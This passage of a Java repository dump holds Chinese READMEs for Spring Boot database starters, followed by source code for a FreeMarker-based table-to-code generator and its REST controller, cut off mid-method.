? ) \nzhangsan\nlisi\n```\n\n\n\n# mica-activerecord 模块\n\n## 功能\n- `@TableName` 注解 Model 自动 Mapping 映射。\n- 基于 Druid 的可执行 Sql 打印。\n- 基于 Druid 的 `DruidSqlDialect`，分页 sql 优化，支持多种数据库。\n- Record 的 `jackson` 处理。\n- `@Tx` 注解的 JFinal ActiveRecord 事务。\n- 可自定义 `ActiveRecordPluginCustomizer` Bean，实现自定义扩展。\n- `CodeGenerator` 代码生成 `markdown` 格式数据字典。\n- `ModelUtil` 实现 Model、Record -> Bean 转换。\n\n## 文档\njfinal ActiveRecord 文档：https://jfinal.com/doc/5-1\n\n## 添加依赖\n### maven\n```xml\n<dependency>\n  <groupId>net.dreamlu</groupId>\n  <artifactId>mica-activerecord</artifactId>\n  <version>${version}</version>\n</dependency>\n```\n\n## 配置\n### ActiveRecord\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| mica.activerecord.dialect | mysql | 方言，默认：mysql，注意：设置为 Druid 时采用 Ansi + druid 分页优化，支持多种数据库 |\n| mica.activerecord.auto-table-scan | true | 自定表扫描 |\n| mica.activerecord.model-package |  | 模型的包路径 |\n| mica.activerecord.base-template-path |  | sql 模板前缀 |\n| mica.activerecord.sql-templates |  | sql 模板，支持多个 |\n| mica.activerecord.transaction-level |  | 事务级别，默认：不可重复读 |\n\n### Spring database（优先）\n| 配置项 | 默认值 | 说明 |\n| ----- | ------ | ------ |\n| spring.datasource.url |  | 数据库地址 |\n| spring.datasource.username |  | 数据库用户名 |\n| spring.datasource.password |  | 数据库密码 |\n\n### Druid\n| 配置项 | 默认值 | 说明                     |\n| ----- |----|------------------------|\n| mica.druid.url |    | 数据库地址                  |\n| mica.druid.username |    | 数据库用户名                 |\n| mica.druid.password |    | 数据库密码                  |\n| mica.druid.show-sql | true | 打印可执行 sql，默认为 true     |\n| mica.druid.show-sql-patterns | [] | 打印 sql 的正则，list 列表，例如：`.*t_user.*` |\n| mica.druid.connection-init-sql |    |                        |\n| mica.druid.connection-properties |    |                        |\n| mica.druid.default-transaction-isolation |    |                        |\n| mica.druid.driver-class |    |                        |\n| mica.druid.filters |    |                        |\n| mica.druid.initial-size | 1  |                        |\n| mica.druid.keep-alive |    |                        |\n| mica.druid.log-abandoned | false |                        |\n| mica.druid.max-active | 32 |                        |\n| mica.druid.max-pool-prepared-statement-per-connection-size | -1 |                        |\n| mica.druid.max-wait | -1 |                        |\n| mica.druid.min-evictable-idle-time-millis | 1800000 |                        |\n| mica.druid.min-idle | 10 |                        |\n| mica.druid.public-key |    |                        |\n| mica.druid.remove-abandoned | false |                        |\n| mica.druid.remove-abandoned-timeout-millis | 300000 |                        |\n| mica.druid.test-on-borrow | false |                        |\n| mica.druid.test-on-return | false |                        |\n| mica.druid.test-while-idle | true |                        |\n| mica.druid.time-between-connect-error-millis | 30000 |                        |\n| mica.druid.time-between-eviction-runs-millis | 60000 |                        |\n| mica.druid.time-between-log-stats-millis |    |                        |\n| mica.druid.validation-query | select 1 |                        |\n| mica.druid.validation-query-timeout |    |                        |\n\n## 代码生成\n```java\n/**\n * 在数据库表有任何变动时，运行一下 main 方法，极速响应变化进行代码重构\n */\npublic class CodeGeneratorTest {\n\n\tpublic static void main(String[] args) {\n\t\tCodeGenerator generator = CodeGenerator.create()\n\t\t\t.url(\"jdbc:mysql://127.0.0.1:3306/blog\")\n\t\t\t.username(\"root\")\n\t\t\t.password(\"12345678\")\n\t\t\t.basePackageName(\"net.dreamlu.demo\")\n\t\t\t.outputDir(PathKit.getWebRootPath())\n\t\t\t.openDir() // 完成后打开目录窗口\n\t\t\t.build();\n\t\t// 为生成器添加类型映射，将数据库反射得到的类型映射到指定类型\n//\t\tgenerator.addTypeMapping(Date.class, LocalDateTime.class);\n\t\t// 设置数据库方言\n\t\tgenerator.setDialect(new MysqlDialect());\n\t\t// 设置是否生成链式 setter 方法\n\t\tgenerator.setGenerateChainSetter(false);\n\t\t// 添加不需要生成的表名\n\t\tgenerator.addExcludedTable(\"adv\");\n\t\t// 设置是否在 Model 中生成 dao 对象\n\t\tgenerator.setGenerateDaoInModel(true);\n\t\t// 设置需要被移除的表名前缀用于生成modelName。例如表名 \"osc_user\"，移除前缀 \"osc_\"后生成的model名为 \"model.User\"而非 OscUser\n\t\tgenerator.setRemovedTableNamePrefixes(\"t_\");\n\t\t// 生成\n\t\tgenerator.generate();\n\t}\n\n}\n```\n\n## 示例：自定义 jFinal ActiveRecord Plugin 配置\n```java\n@AutoConfiguration\npublic class MicaArpCustomConfiguration {\n\n\t@Bean\n\tpublic ActiveRecordPluginCustomizer activeRecordPluginCustomizer() {\n\t\treturn new ActiveRecordPluginCustomizer() {\n\t\t\t@Override\n\t\t\tpublic void customize(ActiveRecordPlugin arp) {\n\t\t\t\tSystem.out.println(\"----------------ActiveRecordPluginCustomizer-----------------\");\n\t\t\t\tarp.setDevMode(true);\n\t\t\t}\n\t\t};\n\t}\n\n}\n```\n\n## TODO \n- 对多数据源的支持"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/readme4.md",
    "content": "# dbapi-spring-boot-starter\n\n## 概述\n\n- dbapi-spring-boot-starter 是接口快速开发工具，可以极大的降低代码量，类似于mybatis-plus框架，不需要再编写mapper接口、resultMap、resultType、javaBean(数据库表对应的java实体)\n- 通过xml编写sql和数据库配置，可以快速开发接口，支持多数据源，支持动态sql，支持mysql/postgresql/oracle/sqlserver/doris/hive/impala/clickhouse等等\n- dbapi-spring-boot-starter 是[DBAPI开源框架](https://github.com/freakchick/db-api) 的spring boot集成\n\n## 对比mybatis优劣\n\n- 如果使用mybatis框架的话，我们要编写 mapper java接口、mapper.xml、数据库表对应的javaBean实体类。\n  当join查询的时候还要封装resultMap(xml)和java dto实体类。\n- 如果使用本框架，相当于只需要编写mapper.xml中的sql脚本，参数类型返回类型都是自动的。极大的减少代码量。\n\n## 适用场景\n\n- 接口中没有复杂逻辑，都是sql执行，尤其适用于报表类应用\n- 需要多种数据源\n\n## 官方文档\n\n[官方文档](https://starter.51dbapi.com)\n\n## 引入依赖\n\n```xml\n\n<dependency>\n    <groupId>com.gitee.freakchicken</groupId>\n    <artifactId>dbapi-spring-boot-starter</artifactId>\n    <version>1.1.0</version>\n</dependency>\n```\n\n## 代码案例\n[dbapi-spring-boot-starter-demo](https://gitee.com/freakchicken/dbapi-spring-boot-starter-demo.git)\n\n## 联系作者：\n\n### wechat：\n\n<div style=\"text-align: center\"> \n<img src=\"https://freakchicken.gitee.io/images/kafkaui/wechat.jpg\" width = \"30%\" />\n</div>\n\n### 捐赠：\n\n如果您喜欢此项目，请给捐助作者一杯咖啡\n<div style=\"text-align: center\">\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/alipay.png\"/>\n<img align=\"center\" height=\"200px\" src=\"https://freakchicken.gitee.io/images/wechatpay.png\"/>\n</div>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/CodeUtil.java",
    "content": "package io.github.wujun728.generator;\n\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.Column;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.log.StaticLog;\nimport com.google.common.collect.Lists;\nimport freemarker.cache.StringTemplateLoader;\nimport freemarker.template.Template;\nimport freemarker.template.TemplateException;\nimport io.github.wujun728.sql.DataSourcePool;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.generator.entity.FieldInfo;\nimport io.github.wujun728.generator.util.FreemarkerUtil;\nimport io.github.wujun728.generator.util.StringUtils;\n//import io.github.wujun728.generator.utils.GeneratorUtil;\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.sql.DataSource;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringReader;\nimport java.io.StringWriter;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n@Slf4j\npublic class CodeUtil {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3307/db_qixing_v2?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"mysqladmin\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n//        genCode(ds,\"pj_customer\",CodeUtil.UI_LAYUI_LIST);\n//        genCode(ds,\"pj_customer\",CodeUtil.UI_LAYUI_EDIT2);\n        genCodeFile(ds,\"paas_holiday\",\"D:/test1122\",CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n        //genCodeFile(ds,\"paas_component_tag\",\"D:/test1122\",CodeUtil.GROUP_MYBATIS_PLUG_NO1);\n    }\n\n    public static String authorName = \"authorName\";\n    private static String AUTHOR_NAME = \"wujun\";\n    public static String packageName = \"packageName\";\n    public static String namePreRemove = \"S_,B_,I_,DT_,TS_,M_,F_,PK_I_N,PK_I_S,PAAS1_\";\n    private static String PACKAGE_NAME = \"io.github.wujun728.biz\";\n    public static String MYBATIS_PLUG_SINGLE_VO_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Vo.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_CONTROLLER_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_DTO_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Dto.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_EDIT_HTML = \"/mybatis-plus-single-v3/edit.html.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_LIST_HTML = \"/mybatis-plus-single-v3/list.html.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_ENTITY_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Entity.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_MAPPER_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_SERVICE_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}Service.java.ftl\";\n    public static String MYBATIS_PLUG_SINGLE_SERVICE_IMPL_JAVA = \"/mybatis-plus-single-v3/${classInfo.className}ServiceImpl.java.ftl\";\n\n    public static String BEETLSQL_BEETLCONTROLLER = \"/beetlsql/${classInfo.className}Controller.java.ftl\";\n    public static String BEETLSQL_BEETLENTITY = \"/beetlsql/${classInfo.className}.java.ftl\";\n    public static String BEETLSQL_BEETLMD = \"/beetlsql/${classInfo.className}.md.ftl\";\n\n    public static String Db_RECORD_CONTROLLER = \"/db-record/${classInfo.className}Controller.java.ftl\";\n    public static String Db_RECORD_ENTITY = \"/db-record/${classInfo.className}.java.ftl\";\n\n\n    public static String JDBCTEMPLATE_JTDAO = \"/jdbctemplate/I${classInfo.className}DAO.java.ftl\";\n    public static String JDBCTEMPLATE_JTDAOIMPL = \"/jdbctemplate/${classInfo.className}DaoImpl.java.ftl\";\n\n\n\n    public static String JPA_ENTITY = \"/jpa/${classInfo.className}.java.ftl\";\n    public static String JPA_JPACONTROLLER = \"/jpa/${classInfo.className}Controller.java.ftl\";\n    public static String JPA_REPOSITORY = \"/jpa/${classInfo.className}Repository.java.ftl\";\n\n\n    public static String MYBATISPLUS_PLUSCONTROLLER = \"/mybatis-plus/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATISPLUS_PLUSENTITY = \"/mybatis-plus/${classInfo.className}.java.ftl\";\n    public static String MYBATISPLUS_PLUSMAPPER = \"/mybatis-plus/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATISPLUS_PLUSSERVICE = \"/mybatis-plus/${classInfo.className}Service.java.ftl\";\n\n    public static String MYBATIS_CONTROLLER = \"/mybatis/${classInfo.className}Controller.java.ftl\";\n    public static String MYBATIS_MAPPER = \"/mybatis/${classInfo.className}Mapper.java.ftl\";\n    public static String MYBATIS_MAPPER2 = \"/mybatis/${classInfo.className}Mapper2.java.ftl\";\n    public static String MYBATIS_MODEL = \"/mybatis/${classInfo.className}.java.ftl\";\n    public static String MYBATIS_MYBATIS_XML = \"/mybatis/${classInfo.className}.xml.ftl\";\n    public static String MYBATIS_SERVICE = \"/mybatis/${classInfo.className}Service.java.ftl\";\n    public static String MYBATIS_SERVICE_IMPL = \"/mybatis/${classInfo.className}ServiceImpl.java.ftl\";\n\n    public static String UI_BOOTSTRAP_UI = \"/ui/${classInfo.className}bootstrap.html.ftl\";\n    public static String UI_ELEMENT_UI = \"/ui/${classInfo.className}element.vuel.ftl\";\n    public static String UI_LAYUI_EDIT = \"/ui/${classInfo.className}layui-edit.html.ftl\";\n\n    public static String UI_LAYUI_EDIT2 = \"/ui/${classInfo.className}layui-edit2.html.ftl\";\n    public static String UI_LAYUI_LIST = \"/ui/${classInfo.className}layui-list.html.ftl\";\n    public static String UI_SWAGGER_UI = \"/ui/${classInfo.className}swagger.json.ftl\";\n\n\n\n    public static String UTIL_BEANUTIL = \"/util/${classInfo.className}beanutil.java.ftl\";\n    public static String UTIL_JSON = \"/util/${classInfo.className}json.json.ftl\";\n    public static String UTIL_SQL = \"/util/${classInfo.className}sql.sql.ftl\";\n    public static String UTIL_SWAGGER_YML = \"/util/${classInfo.className}swagger.yml.ftl\";\n    public static String UTIL_XML = \"/util/${classInfo.className}xml.xml.ftl\";\n\n\n    public  static List<String> GROUP_MYBATIS_PLUG_NO1 = Lists.newArrayList(MYBATIS_PLUG_SINGLE_VO_JAVA,MYBATIS_PLUG_SINGLE_CONTROLLER_JAVA,MYBATIS_PLUG_SINGLE_DTO_JAVA,\n            MYBATIS_PLUG_SINGLE_ENTITY_JAVA, MYBATIS_PLUG_SINGLE_MAPPER_JAVA,MYBATIS_PLUG_SINGLE_SERVICE_JAVA,MYBATIS_PLUG_SINGLE_SERVICE_IMPL_JAVA,MYBATIS_PLUG_SINGLE_EDIT_HTML,\n            MYBATIS_PLUG_SINGLE_LIST_HTML);\n    public  static List<String> GROUP_BEETLSQL = Lists.newArrayList(BEETLSQL_BEETLMD,BEETLSQL_BEETLENTITY,BEETLSQL_BEETLCONTROLLER);\n    public  static List<String> GROUP_DB_RECORD = Lists.newArrayList(Db_RECORD_CONTROLLER,Db_RECORD_ENTITY);\n    public  static List<String> GROUP_JDBCTEMPLATE = Lists.newArrayList(JDBCTEMPLATE_JTDAO,JDBCTEMPLATE_JTDAOIMPL);\n    public  static List<String> GROUP_JPA = Lists.newArrayList(JPA_ENTITY,JPA_REPOSITORY,JPA_JPACONTROLLER);\n    public  static List<String> GROUP_MYBATISPLUS = Lists.newArrayList(MYBATISPLUS_PLUSCONTROLLER,MYBATISPLUS_PLUSENTITY,MYBATISPLUS_PLUSMAPPER,MYBATISPLUS_PLUSSERVICE);\n    public  static List<String> GROUP_MYBATIS = Lists.newArrayList(MYBATIS_CONTROLLER,MYBATIS_MAPPER,MYBATIS_MAPPER2,MYBATIS_MODEL,MYBATIS_MYBATIS_XML,\n            MYBATIS_SERVICE,MYBATIS_SERVICE_IMPL);\n    public  static List<String> GROUP_UI = Lists.newArrayList(UI_BOOTSTRAP_UI,UI_ELEMENT_UI,UI_LAYUI_EDIT,UI_LAYUI_LIST,UI_SWAGGER_UI);\n    public  static List<String> GROUP_UTIL = Lists.newArrayList(UTIL_BEANUTIL,UTIL_JSON,UTIL_SQL,UTIL_SWAGGER_YML,UTIL_XML);\n    static Map<String, Object> params = new HashMap<String, Object>();\n    public static Map<String, Object> customeConfig = new HashMap<String, Object>();\n\n\n\n\n\n    public static void genCodeCustom(DataSource dataSource,String tableName,String templatePath,String templateFileName) {\n        genCodeV1(true,dataSource,tableName,templatePath,templateFileName);\n    }\n    public static void genCode(DataSource dataSource,String tableName,String templateFileName) {\n        genCodeV1(false,dataSource,tableName,null,templateFileName);\n    }\n    /*public static void genCodeFile(DataSource dataSource, String tableName, List<String> templateFileName, String filePath) {\n\n    }*/\n    public static void genCodeFile(DataSource dataSource, String tableName, String filePath, List<String> templateFileName) {\n        for(String template : templateFileName){\n            String content = genCodeV1(false, dataSource, tableName, null, template,filePath);\n        }\n    }\n    public static void genCodeFile(DataSource dataSource, String tableName, String filePath, String templateFileName) {\n        String content = genCodeV1(false, dataSource, tableName, null, templateFileName,filePath);\n    }\n    private static String genCodeV1(Boolean isCustom, DataSource dataSource, String tableName, String templatePath, String templateFileName) {\n        return genCodeV1(isCustom, dataSource, tableName, templatePath, templateFileName,null);\n    }\n    private static String genCodeV1(Boolean isCustom, DataSource dataSource, String tableName, String templatePath, String templateFileName,String filePath) {\n\n        try {\n            ClassInfo classInfo = getClassInfo(dataSource,tableName);\n            params = new HashMap<>();\n            params.put(\"classInfo\", classInfo);\n            params.put(\"ClassName\", classInfo.getClassName());\n            params.put(authorName, AUTHOR_NAME);\n            params.put(packageName, PACKAGE_NAME);\n            params.put(\"isAutoImport\", true);\n            params.put(\"isSwagger\", true);\n            params.putAll(customeConfig);\n            Map<String, String> result = new HashMap<String, String>();\n            if(isCustom){\n                FreemarkerUtil.init2DirectoryForTemplateLoading(templatePath);\n            }else{\n                FreemarkerUtil.init2ClassForTemplateLoading(\"/templates\");\n            }\n            //result.put(\"service_code\", FreemarkerUtil.processString(\"service.ftl\", params));\n            String templateContent = FreemarkerUtil.processString(templateFileName, params);\n            result.put(templateFileName, templateContent);\n            // 计算,生成代码行数\n            int lineNum = 0;\n            for (Map.Entry<String, String> item: result.entrySet()) {\n                if (item.getValue() != null) {\n                    lineNum += StringUtils.countMatches(item.getValue(), \"\\n\");\n                }\n            }\n\n            if(StrUtil.isNotEmpty(filePath)){\n                String content = templateContent;\n                String path_tmep = templateFileName.replace(\".ftl\",\"\");\n                String path_tmep2 = removeFirstFloderPath(path_tmep);\n                String fileName = FreemarkerUtil.processStringTemplate(path_tmep2,params);\n                String fulllPahtName = filePath+File.separator+fileName;\n                if(StrUtil.isNotEmpty(MapUtil.getStr(params,packageName))){\n                    String floder1= StrUtil.replace(MapUtil.getStr(params,packageName),\".\",File.separator);\n                    fulllPahtName = filePath+File.separator+floder1+fileName;\n                }\n                FileUtil.writeString(content,fulllPahtName, Charset.defaultCharset());\n                StaticLog.info(\"生成代码{}，生成代码行数：{}\", fulllPahtName, lineNum);\n            }else {\n                result.keySet().forEach(key->{\n                    StaticLog.info(\"key=\"+key);\n                    StaticLog.info(\"val=\"+result.get(key));\n                });\n                StaticLog.info(\"生成代码{}，生成代码行数：{}\", templateFileName, lineNum);\n            }\n            return templateContent;\n        } catch (IOException | TemplateException e) {\n            StaticLog.error(e.getMessage(), e);\n        }\n\n        return tableName;\n    }\n\n    public static ClassInfo getClassInfo(DataSource dataSource,String tableName) {\n        Table table = MetaUtil.getTableMeta(dataSource, tableName);\n        // V1 初始化数据及对象 模板V1 field List\n        List<FieldInfo> fieldList = new ArrayList<FieldInfo>();\n        List<FieldInfo> pkfieldList = new ArrayList<FieldInfo>();\n        for (Column column : table.getColumns()) {\n            // V1 初始化数据及对象\n            String remarks = column.getComment();// cloumnsSet.getString(\"REMARKS\");// 列的描述\n            String columnName = column.getName();// cloumnsSet.getString(\"COLUMN_NAME\"); // 获取列名\n            String javaType = getType(column.getType()/*cloumnsSet.getInt(\"DATA_TYPE\")*/);// 获取类型，并转成JavaType\n            String columnType = column.getTypeName();// 获取类型，并转成JavaType\n            long COLUMN_SIZE = column.getSize();// cloumnsSet.getInt(\"COLUMN_SIZE\");// 获取\n            String COLUMN_DEF = column.getColumnDef();// cloumnsSet.getString(\"COLUMN_DEF\");// 获取\n            Boolean nullable = column.isNullable();// cloumnsSet.getInt(\"NULLABLE\");// 获取\n            String propertyName = replace_(replaceRowPreStr(columnName));// 处理列名，驼峰\n            Boolean isPk = column.isPk();\n            // V1 初始化数据及对象\n            FieldInfo fieldInfo = new FieldInfo();\n            fieldInfo.setColumnName(columnName);\n            fieldInfo.setColumnType(columnType);\n            fieldInfo.setFieldName(propertyName);\n            fieldInfo.setFieldClass(simpleName(javaType));\n            fieldInfo.setFieldComment(remarks);\n            fieldInfo.setColumnSize(COLUMN_SIZE);\n            fieldInfo.setNullable(nullable);\n            fieldInfo.setFieldType(javaType);\n            fieldInfo.setIsPrimaryKey(isPk);\n            fieldList.add(fieldInfo);\n            if(isPk){\n                pkfieldList.add(fieldInfo);\n            }\n        }\n        if (fieldList != null && fieldList.size() > 0) {\n            ClassInfo classInfo = new ClassInfo();\n            classInfo.setTableName(table.getTableName());\n            String className = replace_(replaceRowPreStr(table.getTableName())); // 名字操作,去掉tab_,tb_，去掉_并转驼峰\n            String classNameFirstUpper = firstUpper(className); // 大写对象\n            classInfo.setClassName(classNameFirstUpper);\n            if(table.getComment().contains(\"表\")){\n                classInfo.setClassComment(table.getComment().replace(\"表\",\"\"));\n            }else{\n                classInfo.setClassComment(table.getComment());\n            }\n            classInfo.setFieldList(fieldList);\n            classInfo.setPkfieldList(pkfieldList);\n            classInfo.setPkSize(table.getPkNames().size());\n            return classInfo;\n        }\n        return null;\n    }\n\n    public static String replaceRowPreStr(String str) {\n\t\t//str = str.toLowerCase().replaceFirst(\"tab_\", \"\").replaceFirst(\"tb_\", \"\").replaceFirst(\"t_\", \"\");\n        for (String x : namePreRemove.split(\",\")) {\n            if(str.startsWith(x.toLowerCase())){\n                str = str.replaceFirst(x.toLowerCase(), \"\");\n            }\n        }\n        return str;\n    }\n\n    public static String replace_(String str) {\n        // 根据下划线分割\n        String[] split = str.split(\"_\");\n        // 循环组装\n        String result = split[0];\n        if (split.length > 1) {\n            for (int i = 1; i < split.length; i++) {\n                result += firstUpper(split[i]);\n            }\n        }\n        return result;\n    }\n\n    public static String firstUpper(String str) {\n        // log.info(\"str:\"+str+\",str.length=\"+str.length());\n        if (!org.springframework.util.StringUtils.isEmpty(str)) {\n            return str.substring(0, 1).toUpperCase() + str.substring(1);\n        } else {\n            return str;\n        }\n    }\n\n    public static String simpleName(String type) {\n        return type.replace(\"java.lang.\", \"\").replaceFirst(\"java.util.\", \"\");\n    }\n\n    private static String removeFirstFloderPath(String str) {\n        String strPath = new String(str.getBytes(StandardCharsets.UTF_8));\n        if(StrUtil.isNotEmpty(strPath) && strPath.contains(\"/\") && strPath.split(\"/\").length>1){\n            List<String> strs = StrUtil.split(strPath,\"/\");\n            String newFloderPath = strPath.replaceFirst(\"/\"+strs.get(1),\"\");\n            System.out.println(newFloderPath);\n            return newFloderPath;\n        }\n        return strPath;\n    }\n\n\n    /**\n     * 批量生成代码（多表 + 多模板），返回生成结果 Map&lt;tableName, Map&lt;templateFileName, codeContent&gt;&gt;\n     */\n    public static Map<String, Map<String, String>> genCodeForTables(DataSource dataSource, List<String> tableNames, List<String> templateFileNames) {\n        Map<String, Map<String, String>> result = new HashMap<>();\n        for (String tableName : tableNames) {\n            Map<String, String> codeMap = new HashMap<>();\n            for (String template : templateFileNames) {\n                String content = genCodeV1(false, dataSource, tableName, null, template, null);\n                codeMap.put(template, content);\n            }\n            result.put(tableName, codeMap);\n        }\n        return result;\n    }\n\n    /**\n     * 生成代码返回内容 Map（不写文件），用于 REST 接口返回\n     */\n    public static Map<String, String> genCodeReturnMap(DataSource dataSource, String tableName, List<String> templateFileNames) {\n        Map<String, String> codeMap = new HashMap<>();\n        for (String template : templateFileNames) {\n            String content = genCodeV1(false, dataSource, tableName, null, template, null);\n            codeMap.put(template, content);\n        }\n        return codeMap;\n    }\n\n    public static String getType(int value) {\n        switch (value) {\n            case -6:\n                return \"java.lang.Integer\";\n            case 5:\n                return \"java.lang.Integer\";\n            case 4:\n                return \"java.lang.Integer\";\n            case -5:\n                return \"java.lang.Long\";\n            case 6:\n                return \"java.lang.Float\";\n            case 8:\n                return \"java.lang.Double\";\n            case 1:\n                return \"java.lang.String\";\n            case 12:\n                return \"java.lang.String\";\n            case -1:\n                return \"java.lang.String\";\n            case 91:\n                return \"java.util.Date\";\n            case 92:\n                return \"java.util.Date\";\n            case 93:\n                return \"java.util.Date\";\n            case 16:\n                return \"java.lang.Boolean\";\n            default:\n                return \"java.lang.String\";\n        }\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api-spring-boot-starter/src/main/java/io/github/wujun728/generator/controller/CodeGeneratorController.java",
    "content": "package io.github.wujun728.generator.controller;\n\nimport cn.hutool.core.io.FileUtil;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.core.util.ZipUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport io.github.wujun728.generator.CodeUtil;\nimport io.github.wujun728.generator.entity.ClassInfo;\nimport io.github.wujun728.sql.entity.Result;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.sql.DataSource;\nimport java.io.*;\nimport java.nio.charset.StandardCharsets;\nimport java.util.*;\n\n/**\n * 代码生成 REST 控制器\n * 提供表列表查询、代码在线生成、代码文件生成、代码打包下载等接口\n * 兼容 amis 前端：所有接口返回 {status: 0, msg: \"ok\", data: {...}} 格式\n */\n@Slf4j\n@RestController\n@RequestMapping(\"${platform.path:}/generator\")\npublic class CodeGeneratorController {\n\n    /**\n     * 获取数据库所有表名\n     * GET /generator/tables?datasource=main\n     */\n    @GetMapping(path = \"/tables\", produces = \"application/json\")\n    public Result tables(@RequestParam(value = \"datasource\", defaultValue = \"main\") String datasource) {\n        try {\n            DataSource ds = getDataSource(datasource);\n            List<String> tableNames = MetaUtil.getTables(ds);\n            return Result.success(tableNames);\n        } catch (Exception e) {\n            log.error(\"获取表列表失败\", e);\n            return Result.fail(\"获取表列表失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 获取表的元数据（字段信息）\n     * GET /generator/classInfo?tableName=xxx&datasource=main\n     */\n    @GetMapping(path = \"/classInfo\", produces = \"application/json\")\n    public Result classInfo(@RequestParam(\"tableName\") String tableName,\n                            @RequestParam(value = \"datasource\", defaultValue = \"main\") String datasource) {\n        try {\n            DataSource ds = getDataSource(datasource);\n            ClassInfo classInfo = CodeUtil.getClassInfo(ds, tableName);\n            if (classInfo == null) {\n                return Result.fail(\"表 \" + tableName + \" 不存在或无字段信息\");\n            }\n            return Result.success(classInfo);\n        } catch (Exception e) {\n            log.error(\"获取表元数据失败\", e);\n            return Result.fail(\"获取表元数据失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 生成代码（返回内容，不写文件）\n     * POST /generator/code\n     * body: {tableName, templateGroup, packageName, authorName}\n     * templateGroup: DB_RECORD / MYBATIS_PLUS / MYBATIS / JPA / BEETLSQL / JDBCTEMPLATE / UI / UTIL\n     */\n    @PostMapping(path = \"/code\", produces = \"application/json\")\n    public Result generateCode(@RequestBody Map<String, Object> body) {\n        try {\n            String tableName = MapUtil.getStr(body, \"tableName\");\n            String templateGroup = MapUtil.getStr(body, \"templateGroup\", \"DB_RECORD\");\n            String pkgName = MapUtil.getStr(body, \"packageName\");\n            String author = MapUtil.getStr(body, \"authorName\");\n            String datasource = MapUtil.getStr(body, \"datasource\", \"main\");\n\n            if (StrUtil.isBlank(tableName)) {\n                return Result.fail(\"tableName 不能为空\");\n            }\n\n            if (StrUtil.isNotBlank(pkgName)) {\n                CodeUtil.customeConfig.put(CodeUtil.packageName, pkgName);\n            }\n            if (StrUtil.isNotBlank(author)) {\n                CodeUtil.customeConfig.put(CodeUtil.authorName, author);\n            }\n\n            DataSource ds = getDataSource(datasource);\n            List<String> templates = getTemplatesByGroup(templateGroup);\n            Map<String, String> codeMap = CodeUtil.genCodeReturnMap(ds, tableName, templates);\n            return Result.success(codeMap);\n        } catch (Exception e) {\n            log.error(\"代码生成失败\", e);\n            return Result.fail(\"代码生成失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 生成代码文件到指定目录\n     * POST /generator/code/file\n     * body: {tableName, templateGroup, packageName, authorName, outputDir, datasource}\n     */\n    @PostMapping(path = \"/code/file\", produces = \"application/json\")\n    public Result generateCodeFile(@RequestBody Map<String, Object> body) {\n        try {\n            String tableName = MapUtil.getStr(body, \"tableName\");\n            String templateGroup = MapUtil.getStr(body, \"templateGroup\", \"DB_RECORD\");\n            String outputDir = MapUtil.getStr(body, \"outputDir\");\n            String pkgName = MapUtil.getStr(body, \"packageName\");\n            String author = MapUtil.getStr(body, \"authorName\");\n            String datasource = MapUtil.getStr(body, \"datasource\", \"main\");\n\n            if (StrUtil.isBlank(tableName) || StrUtil.isBlank(outputDir)) {\n                return Result.fail(\"tableName 和 outputDir 不能为空\");\n            }\n\n            if (StrUtil.isNotBlank(pkgName)) {\n                CodeUtil.customeConfig.put(CodeUtil.packageName, pkgName);\n            }\n            if (StrUtil.isNotBlank(author)) {\n                CodeUtil.customeConfig.put(CodeUtil.authorName, author);\n            }\n\n            DataSource ds = getDataSource(datasource);\n            List<String> templates = getTemplatesByGroup(templateGroup);\n            CodeUtil.genCodeFile(ds, tableName, outputDir, templates);\n            return Result.success(\"代码文件已生成到: \" + outputDir);\n        } catch (Exception e) {\n            log.error(\"代码文件生成失败\", e);\n            return Result.fail(\"代码文件生成失败: \" + e.getMessage());\n        }\n    }\n\n    /**\n     * 生成代码并打包下载\n     * POST /generator/code/download\n     * body: {tableName, templateGroup, packageName, authorName, datasource}\n     */\n    @PostMapping(path = \"/code/download\")\n    public void downloadCode(@RequestBody Map<String, Object> body,\n                             HttpServletResponse response) {\n        try {\n            String 